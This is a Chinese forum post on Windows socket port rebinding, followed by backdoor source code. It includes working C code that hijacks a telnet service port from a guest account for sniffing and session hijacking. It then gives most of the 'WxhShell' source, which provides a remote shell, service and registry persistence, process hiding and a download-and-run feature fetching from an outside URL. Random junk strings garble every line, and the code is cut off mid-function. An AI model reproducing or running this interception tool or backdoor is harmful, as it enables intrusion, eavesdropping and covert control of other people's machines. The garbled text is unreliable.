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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]n4G]ybK%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5&Le?-/\  
>Cglhsb:N  
  saddr.sin_family = AF_INET; Fau24-g  
MB?762 Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lM%3 ?~?Q&  
FlLk.+!t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t\,X G  
;c#jO:A5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x?G"58  
K|wB0TiXP  
  这意味着什么?意味着可以进行如下的攻击: f2M}N  
6"c(5#H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WP? AQD  
e:;u_ be~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r )f+j@KF  
U{&gV~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3c[TPD_:  
3ZL<6`YF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8]% e[  
Ob h@d|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /V E|FTs  
9.l*#A^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EpH\;25u  
N?mQ50o~C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .arWbTR)~U  
sK|+&BC  
  #include /qPhptV  
  #include ^qNr<Ye  
  #include *skmTioj&  
  #include    E Ks4N4k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M:.0]'[s5  
  int main()  D ~t  
  { *~jTE;J  
  WORD wVersionRequested; }Gh95HwE  
  DWORD ret; O g!SFg*  
  WSADATA wsaData; Y/,Cy0!  
  BOOL val; N9BfjT}  
  SOCKADDR_IN saddr; ee .,D  
  SOCKADDR_IN scaddr; !,cfA';S  
  int err; LCemM;o  
  SOCKET s; L-Pq/x2r  
  SOCKET sc; _ v3VUm#  
  int caddsize; Hus.Jfam  
  HANDLE mt; ;^|:*  
  DWORD tid;   /zIUYY  
  wVersionRequested = MAKEWORD( 2, 2 ); OCbwV7q:  
  err = WSAStartup( wVersionRequested, &wsaData ); C5EaP%s  
  if ( err != 0 ) { #-bz$w#*  
  printf("error!WSAStartup failed!\n"); }9 I,p$  
  return -1; o9c?)KQ  
  } 9wP,Z"  
  saddr.sin_family = AF_INET; I*l y 7z  
   cPPTGpqw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %HcCe[d5l  
}<=_&n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "<yJ<lS&>  
  saddr.sin_port = htons(23); klx28/]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q-y`IPtA<  
  { J*+[?FXRL  
  printf("error!socket failed!\n"); Ew*SA  
  return -1; u\o~'Jz  
  } {Z^q?~zC[  
  val = TRUE; D` 2w>{Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -5#cfi4^*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w'a3=_nW  
  { UKp^TW1^  
  printf("error!setsockopt failed!\n"); S0!w]Ku  
  return -1; \JIyJ8FleC  
  } p?'&P!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x5eSPF1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -$cO0RSY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5O"$'iL  
~Nn}FNe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #7p!xf^  
  { OzUo}QN  
  ret=GetLastError(); D7v_ <  
  printf("error!bind failed!\n"); aQglA  
  return -1; s-JS[  
  } WSOz^]  
  listen(s,2); /G= ?E]^  
  while(1) -qdt$jIM  
  { 28LYGrB  
  caddsize = sizeof(scaddr); B PG&R  
  //接受连接请求 WM9z~z'2a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EM,=R  
  if(sc!=INVALID_SOCKET) CX#d9 8\b  
  { 7(C:ty9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w7b\?]}@  
  if(mt==NULL) #i=k-FA)H  
  { ;2l|0:  
  printf("Thread Creat Failed!\n"); YU/?AQg  
  break; nG0R1<  
  } (0^ZZe`# j  
  } )w,<XJhg`  
  CloseHandle(mt); p;.M .  
  } :?SD#Vvrh.  
  closesocket(s); !TLJk]7uC  
  WSACleanup(); W}M 3z  
  return 0; cr~.],$Om  
  }   V{n7KhN~Y!  
  DWORD WINAPI ClientThread(LPVOID lpParam) CO`?M,x>  
  { [Z;ei1l  
  SOCKET ss = (SOCKET)lpParam; O9_SVXWVw  
  SOCKET sc; 7R$O ~R3p  
  unsigned char buf[4096]; sq;3qbz  
  SOCKADDR_IN saddr; Y]bS=*q  
  long num; > Ft)v  
  DWORD val; 5Kw?#  
  DWORD ret; i7%`}t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B0D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jGe%'A N\  
  saddr.sin_family = AF_INET; ]D[\l$(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T}59m;I  
  saddr.sin_port = htons(23); "w3%BbIx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]EqwDw4  
  { 8yk4#CZ  
  printf("error!socket failed!\n"); @S1Z "%S  
  return -1; Ty}Y/jW  
  } @;}vK=6L  
  val = 100; U< <XeSp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D.gD4g_O/  
  { {%c&T S@s  
  ret = GetLastError(); -quJX;~  
  return -1; 06]"{2  
  } slAR<8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]EdZ,`B4  
  { WV}HN  
  ret = GetLastError(); Sg*+!  
  return -1; IYv.~IQO  
  } CV)K=Br5&_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^G4@cR.An  
  { z `jLKPP!=  
  printf("error!socket connect failed!\n"); f4$sH/ 2#v  
  closesocket(sc); 3:T~$M`]  
  closesocket(ss); 934@Z(aUH  
  return -1; oSIP{lfp2Q  
  } EVP{7}K1  
  while(1) J vq)%t8q>  
  { q7<=1r+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JJ9R, 8n6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VxtX%McK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D>0(*O  
  num = recv(ss,buf,4096,0); TG% w  
  if(num>0) |5jrl|  
  send(sc,buf,num,0); Up0kTL  
  else if(num==0) 8.Ufw. 5  
  break; AG><5 }  
  num = recv(sc,buf,4096,0); t1wzSG  
  if(num>0) 5= T$h;O  
  send(ss,buf,num,0); ),Hr  
  else if(num==0) rE]Nr ;Ys  
  break; pog   
  } NS-0-o|4#  
  closesocket(ss); ZsSW{ffZ77  
  closesocket(sc); FmSE ]et  
  return 0 ; 2#/23(Wc  
  } #x`K4f)  
&4ndi=.#rg  
b[<L l%K  
========================================================== /B)2L]6p  
"z*.Bk  
下边附上一个代码,,WXhSHELL ?TJ4L/"(k6  
}QBL{\E!  
========================================================== 'x5p ?m  
*W;;L_V"   
#include "stdafx.h" &j,# 5f(  
TbLU[(m-n  
#include <stdio.h> ~'F.tB  
#include <string.h> 4U~'Oa @p  
#include <windows.h> <KfR)7I$0a  
#include <winsock2.h> L/In~' *-  
#include <winsvc.h> W]XM<# ^^  
#include <urlmon.h> A1r%cs  
%J Jp/I  
#pragma comment (lib, "Ws2_32.lib") K+"3He  
#pragma comment (lib, "urlmon.lib") ;A4j_ 8\[  
N3N~z1x0h  
#define MAX_USER   100 // 最大客户端连接数 gu:vf/  
#define BUF_SOCK   200 // sock buffer Mdq|: ^px  
#define KEY_BUFF   255 // 输入 buffer Z_fwvcZ?05  
UA4c4~$S  
#define REBOOT     0   // 重启 @ qi|}($  
#define SHUTDOWN   1   // 关机 w 62m}5eA  
[XttT  
#define DEF_PORT   5000 // 监听端口 8!YQ9T[  
'n=bQ"bQu  
#define REG_LEN     16   // 注册表键长度 G|RBwl  
#define SVC_LEN     80   // NT服务名长度 =CO) Q2  
B!&y>Z^$  
// 从dll定义API mG$N%`aG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l(Dr@LB~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :!hO9ho  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g rCQ#3K*?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~`="tzr:  
-<9Qez)y  
// wxhshell配置信息 {~w(pAx  
struct WSCFG { u80C>sQ  
  int ws_port;         // 监听端口 &*Xrh7K2e  
  char ws_passstr[REG_LEN]; // 口令 w]nt_xj  
  int ws_autoins;       // 安装标记, 1=yes 0=no #%F-Xsk  
  char ws_regname[REG_LEN]; // 注册表键名 0U:X[2|)  
  char ws_svcname[REG_LEN]; // 服务名 JdLPIfI^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u})*6l.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mln4Vl(l2M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WrcmC$ff  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #d*0 )w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *JfGGI_E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j Neb*dPoK  
?3a=u<  
}; V)`A,7X  
egBk7@Ko  
// default Wxhshell configuration zyO=x 4U8  
struct WSCFG wscfg={DEF_PORT, ,i|K} Y&  
    "xuhuanlingzhe", ^/$dSXKF  
    1, pJs`/   
    "Wxhshell", vq.o;q /  
    "Wxhshell", $STGH  
            "WxhShell Service", cJbv,RV<  
    "Wrsky Windows CmdShell Service", tQRbNY#}Z  
    "Please Input Your Password: ", qA\&%n^ j]  
  1, 60]VOQku  
  "http://www.wrsky.com/wxhshell.exe", |&xaV-b9W  
  "Wxhshell.exe" |d-x2M[  
    }; w\ 0vP  
+H?g9v40  
// 消息定义模块 H C,5j)1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "" >Yw/'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oV;sd5'LG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pz[UAJ  
char *msg_ws_ext="\n\rExit."; DU8\1(  
char *msg_ws_end="\n\rQuit."; GF9[|). T  
char *msg_ws_boot="\n\rReboot..."; \!30t1EZ  
char *msg_ws_poff="\n\rShutdown..."; $]Ix(7@W  
char *msg_ws_down="\n\rSave to "; tu"-]^  
5z9hcQAS  
char *msg_ws_err="\n\rErr!"; -:p VDxO  
char *msg_ws_ok="\n\rOK!"; ] Ok &%-  
/4OQx0Xmm  
char ExeFile[MAX_PATH]; }!k?.(hpE  
int nUser = 0; 9H;Os:"\|  
HANDLE handles[MAX_USER]; }yn%_KQ0  
int OsIsNt; gK;dfrU.8Y  
qoH:_o8ClO  
SERVICE_STATUS       serviceStatus; {5D%<Te  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aMGh$\Pg  
fa,:d8  
// 函数声明 ,jeHL@>w[  
int Install(void); rp dv{CUp7  
int Uninstall(void); &=*1[j\  
int DownloadFile(char *sURL, SOCKET wsh); =,q/FY:  
int Boot(int flag); [%R?^*]  
void HideProc(void); t#_6GL  
int GetOsVer(void); f4*(rX  
int Wxhshell(SOCKET wsl); )m3emMO2  
void TalkWithClient(void *cs); Q:7P /  
int CmdShell(SOCKET sock); V`LE 'E  
int StartFromService(void); j^8HTa0Cy|  
int StartWxhshell(LPSTR lpCmdLine); H)E,([   
g.Qn,l]X/p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~PQR_?1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h lc!}{$%8  
c^'bf_~-W  
// 数据结构和表定义 ^H2TSaJ;  
SERVICE_TABLE_ENTRY DispatchTable[] = X]2Ib'(  
{ ,1B4FAR&  
{wscfg.ws_svcname, NTServiceMain}, S LeA,T  
{NULL, NULL} Q?LzL(OioN  
}; k$m'ebrS.~  
ME]7e^  
// 自我安装 ;`c:Law4  
int Install(void) :|S[i('  
{ E$4H;SN \  
  char svExeFile[MAX_PATH]; Qi dI  
  HKEY key; w5s&Ws  
  strcpy(svExeFile,ExeFile); w5)KWeGa  
L\"wz scn  
// 如果是win9x系统,修改注册表设为自启动 zVtTv-DU  
if(!OsIsNt) { EZ/_uj2&SN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4clCZ@\K^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )'g4Ty  
  RegCloseKey(key); B* 3_m _a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Sy9v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ".Q]FE@>  
  RegCloseKey(key); #Dgu V  
  return 0; 0Bp0ScE|FA  
    } 7Dl^5q.|  
  } ' Kkp!eZQ~  
} ,wg(}y'  
else { |0u qW1  
n#WOIweInf  
// 如果是NT以上系统,安装为系统服务 {wt9/IlG1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u81F^72U  
if (schSCManager!=0) K%BFR,)g  
{ MFO%F) 5  
  SC_HANDLE schService = CreateService @>~S$nw/  
  ( jt323hHth  
  schSCManager, qFDy)4H)  
  wscfg.ws_svcname, XPq`; <G  
  wscfg.ws_svcdisp, oa7 N6  
  SERVICE_ALL_ACCESS, y6sY?uu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yz0HB EA  
  SERVICE_AUTO_START, -:L7iOzgD  
  SERVICE_ERROR_NORMAL, yGWl8\,j0  
  svExeFile, s5{H15  
  NULL, JUDZ_cGr  
  NULL, j!Ys/ D  
  NULL, 9"1=um=  
  NULL, #z.\pd  
  NULL ,g?M[(wtc  
  ); 0e]J2>  
  if (schService!=0) >b3IZ^SB#$  
  { {[NQD3=+F  
  CloseServiceHandle(schService); 1yU!rEH  
  CloseServiceHandle(schSCManager); 6rG7/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U:MZN[Cc[  
  strcat(svExeFile,wscfg.ws_svcname); l,A\]QDvl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e*( _Cvxp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =8p[ (<F=  
  RegCloseKey(key); "Ya ;&F.'  
  return 0; F/A)2 H_  
    } CnY dj~  
  } ?H!&4o  
  CloseServiceHandle(schSCManager); n Zx^ej\  
} T?u*ey~Tv  
} w8>bct3@  
{BAZ`I  
return 1; I|>IV  
} ci(BPnQ  
-ECnX/ "  
// 自我卸载 SFsT^f<  
int Uninstall(void) sZqi)lo-s  
{ G~*R6x2g  
  HKEY key; aOoWB^;6  
[czWUD  
if(!OsIsNt) { cY~lDLyB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uSC I  
  RegDeleteValue(key,wscfg.ws_regname); r[j@@[)"  
  RegCloseKey(key); Cd p_niF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !g>mjD  
  RegDeleteValue(key,wscfg.ws_regname); <bv9X?U  
  RegCloseKey(key); G Wj !n  
  return 0; p<@+0Uw2  
  } GBd mT-7  
} B]7QOf"  
} &\/}.rF  
else { iHo0:J~  
*;t_V laZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n1+J{EPH  
if (schSCManager!=0) MI8c>5?  
{ E*9W'e~=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n=!5ha%#N  
  if (schService!=0) `wLmGv+V  
  { 2V+[:>F  
  if(DeleteService(schService)!=0) { 2@ZuH^qhk  
  CloseServiceHandle(schService); CFY4PuI"!  
  CloseServiceHandle(schSCManager); W$" >\A0%  
  return 0; !$o9:[B  
  } E/ku VZX  
  CloseServiceHandle(schService); iqXsD gkr  
  } tjm@+xs  
  CloseServiceHandle(schSCManager); FW<YN;  
} Gh'{O/F4*  
} _&@cU<bdee  
uk.x1*0x  
return 1; *;.:UR[i  
} `5~<)  
/dVcNo3"  
// 从指定url下载文件 k}{K7,DM  
int DownloadFile(char *sURL, SOCKET wsh) n^epC>a"b  
{ (G"/C7q  
  HRESULT hr; KiNluGNt  
char seps[]= "/"; U:IeMf-;  
char *token; I)G.tJZ e  
char *file; "r{ ^Y??  
char myURL[MAX_PATH]; z]i/hU  
char myFILE[MAX_PATH]; O}Do4>02  
KR4RIJZ_t  
strcpy(myURL,sURL); @|~D?&<\  
  token=strtok(myURL,seps); `jDmbD +=  
  while(token!=NULL) MS%h`Ypo  
  { ou&7v<)x4  
    file=token; <{1 3Nd'o  
  token=strtok(NULL,seps); n] n3/wpO  
  } Yg`z4 U'6~  
iJu$&u  
GetCurrentDirectory(MAX_PATH,myFILE); RAEiIf!3  
strcat(myFILE, "\\"); _P]k6z+  
strcat(myFILE, file); > Gxu8,_;  
  send(wsh,myFILE,strlen(myFILE),0); @/?$ZX/e[  
send(wsh,"...",3,0); pM@0>DVi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :3*0o3C/  
  if(hr==S_OK) Bk1gE((  
return 0; ';x5 $5k'  
else ]p~,C*UH0  
return 1; &T-udgR9  
\6Hu&WHy  
} 4\8k~ #  
W;wu2'  
// 系统电源模块 nHL(v  
int Boot(int flag) zd [cp@  
{  qZP>h4  
  HANDLE hToken; O7I|<H/gVE  
  TOKEN_PRIVILEGES tkp; r|7hm:F)  
}Rq-IRa'  
  if(OsIsNt) { i+.bR.WO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /F @a@m|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); We#O' m  
    tkp.PrivilegeCount = 1; KY;E.D`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W?auY_+P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,t>/_pI+=  
if(flag==REBOOT) { \LW '6 pQ_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dCMWv~>  
  return 0; ~4~>; e  
} kv3jbSKCT  
else { lV!@h}mG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >@d=\Kyu  
  return 0; ;-65~i0Iu  
} %S4pkFR  
  } -T-h~5   
  else { CpICb9w  
if(flag==REBOOT) { )<jT;cT!&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $PNIuC?=  
  return 0;  kQm\;[R  
} TXQ Y&7  
else { Kth^WHL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xlaBOKa%  
  return 0; wXsA-H/`  
} QFf lx  
} dPRGL hWF  
e[8p/hId  
return 1; "^ cn9AG{  
} j^~WAWbFh  
%@jv\J  
// win9x进程隐藏模块 yN~: 3  
void HideProc(void) Lw.N3!e[  
{ vg1p{^N !  
E8Wgm 8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )f0t"lk  
  if ( hKernel != NULL ) !Hr +|HKQ?  
  { -3c?Yaf"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5fBW#6N/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hU `H\LE  
    FreeLibrary(hKernel); cS ;hyLd  
  } 9Kyr/6w4-k  
Re b^w,  
return; k^.9;FmQ  
} 0Q5ua `U  
-K)P|'-?m  
// 获取操作系统版本  g=:C/>g  
int GetOsVer(void) `7|v  
{ N|h}'p  
  OSVERSIONINFO winfo; CtA0W\9w5a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3u8HF-  
  GetVersionEx(&winfo); L +s,,k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Os1(28rl  
  return 1; /5_!Y >W  
  else RxkcQL/Le  
  return 0; DY{JA *N  
} @&2bLJJ+  
j=d@Ih*  
// 客户端句柄模块 eW+z@\d9Gz  
int Wxhshell(SOCKET wsl) ZuF-$]oL&  
{ *, o)`  
  SOCKET wsh; J%_ :A"  
  struct sockaddr_in client; W$P)fPU'  
  DWORD myID; e p;_'  
C;;dCsiV5  
  while(nUser<MAX_USER) pFD L5  
{ -$4PY,  
  int nSize=sizeof(client); F,`y_71<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -q\1Tlc]3  
  if(wsh==INVALID_SOCKET) return 1; BaTE59W  
NQ%lwE~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O&irgc!  
if(handles[nUser]==0) ,y?0Iwf  
  closesocket(wsh); x5 3 aGi|  
else <$HP"f+<S5  
  nUser++; /'p(X~X:l  
  } 'LR5s[$j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }dE0WJcO  
m ^Btr  
  return 0; UMw1&"0:  
} ? S>"yAoe  
%Sfew/"R0  
// 关闭 socket -mG3#88*  
void CloseIt(SOCKET wsh) <D pi M`  
{ qV.*sdS>  
closesocket(wsh); +X0?bVT  
nUser--; i}+K;,Da:8  
ExitThread(0); sL XQ)Ce  
} 4jj@"*^a  
k| nv[xY0  
// 客户端请求句柄 c ++tk4  
void TalkWithClient(void *cs) .QzHHW4&0  
{ 9#.nNv*z3  
a%sr*`  
  SOCKET wsh=(SOCKET)cs; ^6|Q$]}Ok  
  char pwd[SVC_LEN]; /WB^h6qg  
  char cmd[KEY_BUFF]; &aaXw?/zr  
char chr[1]; ](@Tbm8  
int i,j; S=ebht=  
q3e %L  
  while (nUser < MAX_USER) { !,PG!Gnl  
}^^X-_XT  
if(wscfg.ws_passstr) { 0S;H`w_S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); INE8@}e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Yy,L%E]F:  
  //ZeroMemory(pwd,KEY_BUFF); ;+`t[ go  
      i=0; {d(@o!;Fi  
  while(i<SVC_LEN) { frk(2C8T  
$+)SW {7  
  // 设置超时 [F/>pL5U$  
  fd_set FdRead; ;zIAh[z  
  struct timeval TimeOut; me#VCkr#  
  FD_ZERO(&FdRead); KZ pqbI Z  
  FD_SET(wsh,&FdRead); Uoh!1_oV  
  TimeOut.tv_sec=8; kb ]PW Oz  
  TimeOut.tv_usec=0; Y'`w.+9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CYmwT>P+*4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {xp/1? Mo*  
vZmM=hW~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U|={LU  
  pwd=chr[0]; ogH{   
  if(chr[0]==0xd || chr[0]==0xa) { Lk6UT)C  
  pwd=0; f3]Z22Yq  
  break; r:2G11[  
  } DDyeN uK  
  i++; V.6h6B!vB  
    } p@y?xZS  
%:sQ[^0  
  // 如果是非法用户,关闭 socket oEd+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?`,<l#sj  
} >fPa>[_1  
9"K EHf!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vX;WxA<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #TM+Vd$  
Lf{9=;  
while(1) { /mX/ "~  
L]3 V)`}  
  ZeroMemory(cmd,KEY_BUFF); >f JY  
Fx*iAH\e  
      // 自动支持客户端 telnet标准   d:.S]OI0  
  j=0; LWuciHfd+  
  while(j<KEY_BUFF) { V6B`q;lA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j]#qq]c  
  cmd[j]=chr[0]; j BS$xW  
  if(chr[0]==0xa || chr[0]==0xd) { Q\z6/1:9Z  
  cmd[j]=0; /qa{*"2Qo  
  break; h5e(Avk  
  } 3,=97Si=  
  j++; OaY.T  
    } P3UU~w+s  
f^b.~jXSR}  
  // 下载文件 _ ]@   
  if(strstr(cmd,"http://")) { NKd}g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I !=ew |  
  if(DownloadFile(cmd,wsh)) X?&(i s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1}-]^\  
  else +Kw:z?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?55t0  
  } :sAb'6u1EU  
  else { 7v3'JG1r-  
1t wC-rC  
    switch(cmd[0]) { Jd?N5.  
  kVR_?ch{  
  // 帮助 ZxLdh8v.  
  case '?': { (3~h)vaJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jR[VPm=  
    break; 82l$]W4  
  } \9j +ejGf  
  // 安装 (Ild>_Tdb`  
  case 'i': { 2CcUClP$  
    if(Install()) gb+iy$o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ICA p  
    else Z;Q2tT /F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ p%=RIR  
    break; uF,F<%d  
    } "159Q  
  // 卸载 wV8_O)[  
  case 'r': { 3m%oXT  
    if(Uninstall()) C+o1.#]JM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-zAkKM  
    else P/i{_r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hOZ:r =%  
    break; O*0%AjT6  
    } c\A 4-08  
  // 显示 wxhshell 所在路径 \PReQ|[ah  
  case 'p': { {Tx"G9  
    char svExeFile[MAX_PATH]; U; -2)+  
    strcpy(svExeFile,"\n\r"); }C-K0ba7  
      strcat(svExeFile,ExeFile); .n$c+{  
        send(wsh,svExeFile,strlen(svExeFile),0); 4Z8FLA+T,  
    break; <O:}dXqZ  
    } : EA-L  
  // 重启 <@:RS$" i  
  case 'b': { FQY{[QvF~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4JQd/;  
    if(Boot(REBOOT)) 0V;9v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s0r::yO  
    else { c8z6-6`i0  
    closesocket(wsh); Wh).%K(t  
    ExitThread(0); s&v7<)*q  
    } Uh[MB wK  
    break; ` 1Ui  
    } ;]v{3m  
  // 关机 |5il5UP  
  case 'd': { 7v'aw"~  
